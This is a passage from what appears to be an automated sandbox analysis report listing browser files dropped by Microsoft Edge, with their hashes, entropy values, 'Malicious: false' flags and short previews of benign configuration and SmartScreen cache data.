Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3fb78.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b022.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50bcf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089758082850781
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynzykzItSmd6qE7lFoC
MD5:	77B0E2C6A65CFD9355C8CF6EA4DC618D
SHA1:	E3CC7E76E3D7C70DF29BB91108DEF0F4086BE882
SHA-256:	1C67AB950C47D30C67E03FAB584EDF07374C1D7EBE13D1252A0D62C91BC5D317
SHA-512:	F9A1F9482CAAF3BBB0998F5ED1D69B1831E02183A01C8DCD783C41A44B62E15E49908DD9284A13C1C905069BC99DD27FF9D27566E7DCB197D6FC6F7902509DEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.023495898904847
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVaY:YWLSGTt1o9LuLgfGBPAzkVj/T8ld
MD5:	498CE9314A8F3C18B9C2F6AA6D4A6552
SHA1:	7A2593B5B2E6FE2306F00A4C40E15936FA356708
SHA-256:	7150CC33E9DD5504AAC519541E08FF03254F5CFA14F0EF856BD38B208CA7A970
SHA-512:	952D76AB3497D482C920626655EDDA533F03B73C2C9E902A57922AAF3B3C4AA7EE26FEE640CD33D63BD5738550C79FBC52F623CD996B4BBE0431589744C6AFC1
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730178453143399}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a8f4032e-3d27-46c8-a094-280d519be0a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46589
Entropy (8bit):	6.086254605411182
Encrypted:	false
SSDEEP:	768:/MkbJrT8IeQcrQgAKiEQi1zNtLkwNZ9BhCFehy1DhuCioaJDSgzMMd6qD47u30B:/Mk1rT8HgKF014FoatSmd6qE7P
MD5:	74327866BE90E25EC6C4D679C27FA537
SHA1:	FF4CC655097C2E96897A8A0309E2F2EB496410C2
SHA-256:	E20351640F2340CA67F11E38C65F7D3AC50D5A9E7607C69978C95B3092BA1EA7
SHA-512:	FAFB8F3820E8A17403236815A699C07D3E961DDA47C880D85388E4F7FE6F6C2639107CEFC9D0B5F64DD0B1DCD57199F147A794D40CE1B430F26CC385E7366DFC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374551250031234","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"4c2bfce6-ad99-47b7-80ff-20d1f0d5c3a1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730077654"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f4ed1390-8fe9-48c9-b44d-9d31c9eb2a8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46512
Entropy (8bit):	6.0863385652516815
Encrypted:	false
SSDEEP:	768:/MkbJrT8IeQcrQgxKiEQi1zNtLkww9Z9BhCFehy1DhuCioaJDSgzMMd6qD47u30B:/Mk1rT8HRK2v014FoatSmd6qE7P
MD5:	885D13F4393A7FEBC93B2D8455CDAE09
SHA1:	7F803583D5EA907C3FC64DE5A675063C88D7AF5F
SHA-256:	EF26EFE16786E7E5F97ECF813ADAD9CFBE98E0882DAA1EB488489B77B63655BB
SHA-512:	AF5936306E90B37167DCC98FB6988E8D207835FB34FA5F601830F607A30C9C9BE4AF66122A6ECC8A586239DCB5C709E1A0EFCA0B09FA4C9F2C5A80CF3F81C72E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374551250031234","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"4c2bfce6-ad99-47b7-80ff-20d1f0d5c3a1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730077654"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fd757b79-cfcd-40b5-9084-eb94afb7fb3e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.095521932679963
Encrypted:	false
